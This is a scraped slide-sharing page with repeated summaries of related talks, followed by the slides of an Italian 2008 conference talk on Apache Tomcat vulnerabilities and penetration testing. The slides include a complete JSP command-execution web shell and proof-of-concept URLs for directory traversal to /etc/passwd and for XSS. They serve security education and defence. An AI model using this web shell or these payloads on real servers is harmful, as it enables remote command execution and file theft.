Apache Tomcat è probabilmente una delle più note implementazioni delle tecnologie Java Servlet e Java Server Pages. Sebbene l’Apache Software Foundation considera la sicurezza dei suoi prodotti come un requisito di primaria importanza, nel corso degli ultimi anni sono state scoperte numerose vulnerabilità. Queste debolezze permettono attacchi di cross site scripting, directory listing, directory traversal, escalation dei privilegi sino all’esecuzione di codice arbitrario. Analizzando il passato, cercheremo di identificare il futuro di questo application server in termini di sicurezza.
http://www.ikkisoft.com
The document provides an overview of Tomcat and JBoss, open-source servlet containers. It discusses the origins and frameworks of Tomcat and JBoss, how to get started with Tomcat configuration, deployment, security, and load balancing of Tomcat instances with Apache HTTP Server. Key configuration files for Tomcat are also summarized.
The document discusses setting up and configuring an Apache Tomcat server. It includes steps to install Java, download and extract the Tomcat source package, set environment paths, start and stop the Tomcat server, and test functionality using HTML, JSP and Servlet files. The server runs on port 8080 by default and can host Java web applications built with Servlets and JSP.
WebSphere App Server vs JBoss vs WebLogic vs Tomcat (InterConnect 2016)Roman Kharkovski
This document provides a competitive comparison of WebSphere Application Server (WAS) versus Tomcat, JBoss and WebLogic. It discusses each product's capabilities in areas like runtimes, API management, development tools, cloud support, and more. Gartner research is referenced showing IBM holds the #1 position in the middleware software market for the past 13 years. The document aims to help organizations choose the best application server for their needs.
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Simone Onofri
Ogni 3 anni l’OWASP aggiorna la TOP 10 delle vulnerabilità più comuni per le applicazioni Web. La TOP 10 di quest’anno contiene alcune interessanti novità.
Al primo posto rimangono sempre le vulnerabilità
di tipo Injection, seguite dalle problematiche nella Gestione della Sessione e nell’Autenticazione. Indietreggiano di una posizione i Cross Site Scripting.
Il talk, dopo una breve introduzione sulla TOP 10 e sugli
aggiornamenti, si pone lo scopo di descrivere con esempi pratici sia le varie vulnerabilità che i possibili rientri, in pieno spirito “think positive” promosso nella TOP 10 stessa.
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Codemotion
Ogni 3 anni l’OWASP aggiorna la TOP 10 delle vulnerabilità più comuni per le applicazioni Web. La TOP 10 di quest’anno contiene alcune interessanti novità.
Al primo posto rimangono sempre le vulnerabilità
di tipo Injection, seguite dalle problematiche nella Gestione della Sessione e nell’Autenticazione. Indietreggiano di una posizione i Cross Site Scripting.
Il talk, dopo una breve introduzione sulla TOP 10 e sugli
aggiornamenti, si pone lo scopo di descrivere con esempi pratici sia le varie vulnerabilità che i possibili rientri, in pieno spirito “think positive” promosso nella TOP 10 stessa
Case Study sul malware "Gromozon", ispirato da un articolo di Marco Giuliani. Presentazione tenuta a Infosecurity 2007 con Luigi Mori, autore della sezione sul Reverse Engineering.
The document provides an overview of Tomcat and JBoss, open-source servlet containers. It discusses the origins and frameworks of Tomcat and JBoss, how to get started with Tomcat configuration, deployment, security, and load balancing of Tomcat instances with Apache HTTP Server. Key configuration files for Tomcat are also summarized.
The document discusses setting up and configuring an Apache Tomcat server. It includes steps to install Java, download and extract the Tomcat source package, set environment paths, start and stop the Tomcat server, and test functionality using HTML, JSP and Servlet files. The server runs on port 8080 by default and can host Java web applications built with Servlets and JSP.
WebSphere App Server vs JBoss vs WebLogic vs Tomcat (InterConnect 2016)Roman Kharkovski
This document provides a competitive comparison of WebSphere Application Server (WAS) versus Tomcat, JBoss and WebLogic. It discusses each product's capabilities in areas like runtimes, API management, development tools, cloud support, and more. Gartner research is referenced showing IBM holds the #1 position in the middleware software market for the past 13 years. The document aims to help organizations choose the best application server for their needs.
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Simone Onofri
Ogni 3 anni l’OWASP aggiorna la TOP 10 delle vulnerabilità più comuni per le applicazioni Web. La TOP 10 di quest’anno contiene alcune interessanti novità.
Al primo posto rimangono sempre le vulnerabilità
di tipo Injection, seguite dalle problematiche nella Gestione della Sessione e nell’Autenticazione. Indietreggiano di una posizione i Cross Site Scripting.
Il talk, dopo una breve introduzione sulla TOP 10 e sugli
aggiornamenti, si pone lo scopo di descrivere con esempi pratici sia le varie vulnerabilità che i possibili rientri, in pieno spirito “think positive” promosso nella TOP 10 stessa.
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Codemotion
Ogni 3 anni l’OWASP aggiorna la TOP 10 delle vulnerabilità più comuni per le applicazioni Web. La TOP 10 di quest’anno contiene alcune interessanti novità.
Al primo posto rimangono sempre le vulnerabilità
di tipo Injection, seguite dalle problematiche nella Gestione della Sessione e nell’Autenticazione. Indietreggiano di una posizione i Cross Site Scripting.
Il talk, dopo una breve introduzione sulla TOP 10 e sugli
aggiornamenti, si pone lo scopo di descrivere con esempi pratici sia le varie vulnerabilità che i possibili rientri, in pieno spirito “think positive” promosso nella TOP 10 stessa
Case Study sul malware "Gromozon", ispirato da un articolo di Marco Giuliani. Presentazione tenuta a Infosecurity 2007 con Luigi Mori, autore della sezione sul Reverse Engineering.
“Da un grande potere derivano grandi responsabilità”, ci ricordano le parole di un grande supereroe. Allora, considerato che Magento è uno dei sistemi di eCommerce più utilizzati in tutto il mondo, è essenziale assumersi ogni responsabilità rispetto agli aspetti di sicurezza che, se trascurati, possono portare ingenti danni.
Durante il talk, Simone Onofri illustrerà le principali vulnerabilità, utilizzando la OWASP TOP 10 2013 e specifici esempi sull’ecosistema di Magento per imparare assieme come rendere sicura la propria installazione di Magento o il proprio Plugin.
Una semplice guida che spiega come installare e utilizzare il software open-source Cacti per la gestione della rete.
A simple guide on how to install and use the software open-source Cacti for network management.
L'architettura di Stack Overflow - Mario Cecconi - Codemotion Milan 2014Codemotion
In this talk, I will describe: The physical architecture of Stack Overflow. How many servers are there? What is their purpose and what are their specs? The logical architecture of the software. How do we scale up? What are the main building blocks of our software? The tooling system. What supports our extreme optimization philosophy? The development team. What are our core values? What footprint do we want to leave as developers? Stack Exchange & Stack Overflow have been growing exponentially since 2008. They now encompass:120+ Q&A sites and millions of questions and answers.
Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...Simone Onofri
Negli ultimi anni la disponibilità di Browser sempre più avanzati e le grandi capacità di calcolo dei Client hanno portato all’attenzione della comunità di sicurezza una serie di attacchi o tecniche che hanno come bersaglio principale l’utente dell’applicazione. I vendor e organizzazioni come IEFT e W3C hanno considerato opportuna l’implementazione di alcune protezioni attivabili tramite Header HTTP.
Gli header devono essere configurati per non rilasciare le informazioni, ottimizzare cache e codifica. Di contro manipolando direttamente i pacchetti HTTP è possibile alterare anche le risposte dell’applicazione o il suo funzionamento. Durate il talk analizzeremo attacchi come l’UI Redressing / HTTP Response Splitting, HTTP Verb Tampering e molto altro.
Hackers vs. Developers: HTML5 Security by Simone OnofriCodemotion
HTML5 è lo standard futuro per lo sviluppo di applicazioni web e mobile che aggiunge molte funzionalità e potenzialità rispetto l’(X)HTML tradizionale.
Se per gli sviluppatori sono aumentate le possibilità, In ambito Security aumenta la superficie attaccabile in particolare per gli attacchi lato client.
Il talk si pone l’obiettivo di descrivere i nuovi vettori di attacco che insistono sulle API e funzionalità di HTML5.
HTML5 è lo standard futuro per lo sviluppo di applicazioni web e mobile che aggiunge molte funzionalità e potenzialità rispetto l'(X)HTML tradizionale. Se per gli sviluppatori sono aumentate le possibilità, In ambito Security aumenta la superficie attaccabile in particolare per gli attacchi lato client. Il talk si pone l'obiettivo di descrivere i nuovi vettori di attacco che insistono sulle API e funzionalità di HTML5.
Liferay SSL/TLS Security. Come configurare il bundle Liferay per abilitare il...Antonio Musarra
In questo eBook sarà affrontato un argomento legato alla sicurezza che riguarda il come rendere sicure le connessioni HTTP attraverso il protocollo SSL/TLS (da ora in avanti TLS). Questo aspetto di sicurezza non è strettamente legato a Liferay, infatti non esiste nessun riferimento sulla LDN, riguarda invece l’infrastruttura dove il portale Liferay è collocato.
Il percorso che seguiremo nel corso di questo eBook per raggiungere il nostro obiettivo, sarà così organizzato:
1. Gestione dei certificati
2. Configurazione del protocollo TLS
3. Configurazione del portale Liferay (sia Apache Tomcat sia WildFly)
Marco Arena - Perché nel 2015 parliamo ancora di C++? | Codemotion Milan 2015Codemotion
Un sacco di applicazioni che utilizziamo quotidianamente sono sviluppate in C++. Per esempio, se stai leggendo questo abstract in un browser, allora probabilmente stai usando un software scritto in C++. Nonostante la diffusione di tanti altri eccellenti linguaggi, perché il C++ è ancora così utilizzato? Sapevi che nel 2014 è stato il secondo linguaggio più amato della SO Developer Survey? Cosa offre in più rispetto ad altre tecnologie? Presenterò la mia visione, e anche alcuni “segreti” che rendono il C++ speciale ed evoluto.
More Related Content
Similar to SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
“Da un grande potere derivano grandi responsabilità”, ci ricordano le parole di un grande supereroe. Allora, considerato che Magento è uno dei sistemi di eCommerce più utilizzati in tutto il mondo, è essenziale assumersi ogni responsabilità rispetto agli aspetti di sicurezza che, se trascurati, possono portare ingenti danni.
Durante il talk, Simone Onofri illustrerà le principali vulnerabilità, utilizzando la OWASP TOP 10 2013 e specifici esempi sull’ecosistema di Magento per imparare assieme come rendere sicura la propria installazione di Magento o il proprio Plugin.
Una semplice guida che spiega come installare e utilizzare il software open-source Cacti per la gestione della rete.
A simple guide on how to install and use the software open-source Cacti for network management.
L'architettura di Stack Overflow - Mario Cecconi - Codemotion Milan 2014Codemotion
In this talk, I will describe: The physical architecture of Stack Overflow. How many servers are there? What is their purpose and what are their specs? The logical architecture of the software. How do we scale up? What are the main building blocks of our software? The tooling system. What supports our extreme optimization philosophy? The development team. What are our core values? What footprint do we want to leave as developers? Stack Exchange & Stack Overflow have been growing exponentially since 2008. They now encompass:120+ Q&A sites and millions of questions and answers.
Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...Simone Onofri
Negli ultimi anni la disponibilità di Browser sempre più avanzati e le grandi capacità di calcolo dei Client hanno portato all’attenzione della comunità di sicurezza una serie di attacchi o tecniche che hanno come bersaglio principale l’utente dell’applicazione. I vendor e organizzazioni come IEFT e W3C hanno considerato opportuna l’implementazione di alcune protezioni attivabili tramite Header HTTP.
Gli header devono essere configurati per non rilasciare le informazioni, ottimizzare cache e codifica. Di contro manipolando direttamente i pacchetti HTTP è possibile alterare anche le risposte dell’applicazione o il suo funzionamento. Durate il talk analizzeremo attacchi come l’UI Redressing / HTTP Response Splitting, HTTP Verb Tampering e molto altro.
Hackers vs. Developers: HTML5 Security by Simone OnofriCodemotion
HTML5 è lo standard futuro per lo sviluppo di applicazioni web e mobile che aggiunge molte funzionalità e potenzialità rispetto l’(X)HTML tradizionale.
Se per gli sviluppatori sono aumentate le possibilità, In ambito Security aumenta la superficie attaccabile in particolare per gli attacchi lato client.
Il talk si pone l’obiettivo di descrivere i nuovi vettori di attacco che insistono sulle API e funzionalità di HTML5.
HTML5 è lo standard futuro per lo sviluppo di applicazioni web e mobile che aggiunge molte funzionalità e potenzialità rispetto l'(X)HTML tradizionale. Se per gli sviluppatori sono aumentate le possibilità, In ambito Security aumenta la superficie attaccabile in particolare per gli attacchi lato client. Il talk si pone l'obiettivo di descrivere i nuovi vettori di attacco che insistono sulle API e funzionalità di HTML5.
Liferay SSL/TLS Security. Come configurare il bundle Liferay per abilitare il...Antonio Musarra
In questo eBook sarà affrontato un argomento legato alla sicurezza che riguarda il come rendere sicure le connessioni HTTP attraverso il protocollo SSL/TLS (da ora in avanti TLS). Questo aspetto di sicurezza non è strettamente legato a Liferay, infatti non esiste nessun riferimento sulla LDN, riguarda invece l’infrastruttura dove il portale Liferay è collocato.
Il percorso che seguiremo nel corso di questo eBook per raggiungere il nostro obiettivo, sarà così organizzato:
1. Gestione dei certificati
2. Configurazione del protocollo TLS
3. Configurazione del portale Liferay (sia Apache Tomcat sia WildFly)
Marco Arena - Perché nel 2015 parliamo ancora di C++? | Codemotion Milan 2015Codemotion
Un sacco di applicazioni che utilizziamo quotidianamente sono sviluppate in C++. Per esempio, se stai leggendo questo abstract in un browser, allora probabilmente stai usando un software scritto in C++. Nonostante la diffusione di tanti altri eccellenti linguaggi, perché il C++ è ancora così utilizzato? Sapevi che nel 2014 è stato il secondo linguaggio più amato della SO Developer Survey? Cosa offre in più rispetto ad altre tecnologie? Presenterò la mia visione, e anche alcuni “segreti” che rendono il C++ speciale ed evoluto.
Similar to SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie" (20)
2. Di cosa parliamo oggi...
• Quali sono le principali vulnerabilità
scoperte in Apache Tomcat
• Come sfruttare queste debolezze, dal
punto di vista dell'aggressore
• Quali vulnerabilità ci dobbiamo aspettare
nel futuro prossimo
• Attualmente lavoro come pentester in
una grande banca internazionale
• Ricerco vulnerabilità for fun (and profit)
• Mi interesso di web application security
ed ethical hacking
• Sono membro della comunita’ OWASP
btw: partecipate al capitolo Italiano :)
• luca.carettoni[at]ikkisoft[dot]com
3. Security in depth
Application Security
Web Server Security
Database Security
Operating System Security
Network Security
Physical Security
4. Apache
Tomcat
• Apache Tomcat è un moderno Servlet
container sviluppato dall'Apache
Software Foundation
• http://tomcat.apache.org/
• Pure 100% Java Application Server
• Open Source, facile da installare,
abbastanza performante...quindi,
praticamente perfetto ? Non proprio
• Implementa diverse versioni delle
tecnologie Java Servlet e Java Server
Pages (JSP)
Servlet/JSP Specification Apache Tomcat version
2.5/2.1 6.0.18
2.4/2.0 5.5.26
2.3/1.2 4.1.37
2.2/1.1 3.3.2 (deprecata)
5. Powered by Apache Tomcat
• E' stato scaricato più di 10 milioni di volte.
Ipotizziamo che solamente l'1% di questi
download ha portato all'utilizzo in produzione,
il risultato è assolutamente sconvolgente
• Parliamo di più di 100000 installazioni
• Largamente utilizzato da numerose
organizzazioni e società: WalMart, O'Reilly On
Java, JBOSS ed il portale Italiano
VolareGratis.com
• Si stima che circa la metà della global
Fortune 500 utilizzi in una qualche
installazione Tomcat e derivati
• Date un occhio alla popolarità del sito:
http://people.apache.org/~vgritsenko/stats/project
s/tomcat.html
6. Tomcat in the wild...
• Google dork:
12,600 for intitle:quot;Directory Listing
For /quot; + inurl:tomcat-docs tomcat
7. Tactical Exploiting 1/3
• Spesso l'aggressore non deve nemmeno
sfruttare vulnerabilità
• Sono gli amministratori che lasciano
accessibile una risorsa preziosa
• Default Manager Console
http://x.x.x.x:8080/manager/html
• LambdaProbe Console
http://x.x.x.x:9099/probe/
• Spesso esposta
• Spesso protetta da password non robuste
• Per la mia esperienza, troppo spesso !
9. Tactical Exploiting 3/3
• Oltre ad ottenere informazioni sulla
configurazione e sullo stato dei sistemi,
un aggressore può alterare le
configurazioni e compromettere
l'ambiente di fruizione !
• Vediamo, in breve, come:
<%@ page import=quot;java.io.*quot; %><%try { Runtime rt = Runtime.getRuntime(); String
cmd = request.getParameter(quot;cmdquot;); Process ps = rt.exec(cmd); BufferedReader
outReader = new BufferedReader(new InputStreamReader( ps.getInputStream()));
BufferedReader errReader = new BufferedReader(new
InputStreamReader( ps.getErrorStream())); String outLine = null; String errLine
= null; out.println(quot;<pre>quot;); while ((outLine = outReader.readLine()) != null
|| (errLine = errReader.readLine()) != null) { if (outLine != null)
out.println(quot;out: quot; + outLine); if (errLine != null) out.println(quot;err:
quot; + errLine); } out.println(quot;</pre>quot;); outReader.close();
errReader.close(); } catch (Exception ex) { out.println(quot;Exception message. Some
problem?!?quot;); ex.printStackTrace(); }%>
10. Apache Tomcat - Cronologia
• La code base iniziale e' stata donata da Sun
all' Apache Software Foundation nel 1999
• La prima versione ufficiale è stata la v3.0
4.1.31 4.1.36
4.x
5.0.0 5.0.28
5.0.30
5.0.x
5.5.12 5.5.17
5.5.0 5.5.4 5.5.9 5.5.16 5.5.23
5.5.1 5.5.7 5.5.15 5.5.20 5.5.25 5.5.26
5.5.x
6.0.14
6.0.13 6.0.18
6.0.0 6.0.10 6.0.16
6.x
2002 2003 2004 2005 2006 2007 2008
La versione attuale è la 6.0.18 (ad oggi, 18/10/08)
Fonte: en.wikipedia.org
14. Vulnerabilità per severità
Low
High
Medium
• Low: Info Disclosure, Denial of Service
• Medium: Sensitive Info Disclosure, Cross
Site Scripting, Session Hijacking
• High: Directory Traversal, Lettura/Scrittura
File Arbitrari, Esecuzione di Codice Arbitrario
16. CVE-2008-2938
• Directory Traversal Vulnerability
• Author: Simon Ryeo
• Severity: High
• Version Affected: 6.0-6.0.16, 5.5-5.5.26, 4.1.x
• Exploit Proof-of-concept:
http://www.example.com/%c0%ae%c0%ae/%c0%ae
%c0%ae/%c0%ae%c0%ae/etc/passwd
• Note: context.xml oppure server.xml deve
permettere allowLinking e URIencoding come “UTF-
8”.
UTF-8 Encoding
2 bytes, 11bits, 110bbbbb 10bbbbbb
%c0%ae = “.”
%c0%af = “/”
17. CVE-2007-2449
• Multiple Cross Site Scripting (XSS)
• Author: Unknown (reported to JPCERT)
• Severity: Medium
• Version Affected: 6.0-6.0.13, 5.0-5.0.30, 5.5-
5.5.24, 4.0-4.0.6, 4.1-4.1.36
• Exploit Proof-of-concept:
http://www.example.com/jsp-
examples/snp/snoop.jsp;[xss]
• Note: Nessun tipo di validazione. Il classico vettore
di attacco <script>alert(123);</script> viene
correttamente inoltrato
18. CVE-2006-3835
• Directory Listing Vulnerability
• Author: ScanAlert.s Enterprise Services Team
• Severity: Medium
• Version Affected: 5.0-5.0.30, 5.5-5.5.12, 4.0-
4.0.6, 4.1-4.1.31
• Exploit Proof-of-concept:
http://www.example.com/;index.jsp
http://www.example.com/help/;help.do
• Note: Vulnerabile invocando qualsiasi risorsa
(estensione) valida, anche se non esistente,
preceduta da un punto e virgola
19. Tomcat ZOO
The «all-in-one» exploit
• Pentesting tool, specifico per verificare
vulnerabilità note di Apache Tomcat
• Sviluppato in PHP (richiede solo –enable-cli)
• Rilasciato GPL v2
• Attualmente copre il 27% dei CVE per Tomcat:
* CVE-2008-2938 * CVE-2006-3835 * CVE-2007-3385
* CVE-2008-2370 * CVE-2006-7196 * CVE-2007-3386
* CVE-2008-1947 * CVE-2007-2449 * CVE-2007-5333
* CVE-2008-1232 * CVE-2007-3382 * CVE-2007-5461
---------------[ Script Options (basic) ]------------------
Usage:php TomcatZOO.php host port proxy
host: target server
port: the web port, usually 8080
proxy: use a proxy defined as IP:PORT:USER:PASS (optional)
Example:
php TomcatZOO.php www.example.com 8080
php TomcatZOO.php www.example.com 80 127.0.0.1:1234::
php TomcatZOO.php www.example.com 80 127.0.0.1:8080:ikki:pass
20. Tomcat ZOO
The «all-in-one» exploit
Caratteristiche avanzate:
Supporto HTTP (senza l'uso di libcurl)
Supporto Proxy
Opzione di debug
Personalizzazione User-Agent
Primitive tecniche di evasione
1: fake HTTP GET/POST parameters
2: random case sensitivity
3: Windows directory separator instead of /
4: URL encoding applied to URI, HTTP pars and header
ToDo:
Supporto HTTPS (per ora utilizzate l'ottimo
www.stunnel.org. Thx Michal!)
Coprire la globalità delle vulnerabilità di Tomcat
analizzabili durante black box testing
21. Tomcat ZOO
The «all-in-one» exploit
• Disponibile prossimamente (entro fine anno)
• Lo troverete qui:
http://www.ikkisoft.com/tomcatzoo/
• E' un tool per ethical hacking !
22. E nel futuro...
• Ancora problematiche di validazione dell'input,
sebbene il codice si sta stabilizzando
• Sicuramente ancora Denial of Service, considerando la
numerosità e la complessità dei componenti
• Sicuramente ancora Cross-Site Scripting
• (Tendenzialmente) nessun buffer overflow.
I componenti non sviluppati in Java sono limitati
• Come difenderci quindi?
• Reattività: mantenersi aggiornati e preparare già ora
un ambiente di test dove provare le future release,
prima della messa in produzione. Estote Parati !
• Online patching: Application firewall e simili, pronti
per essere configurati ad-hoc appena viene rilasciata
una nuova vulnerabilità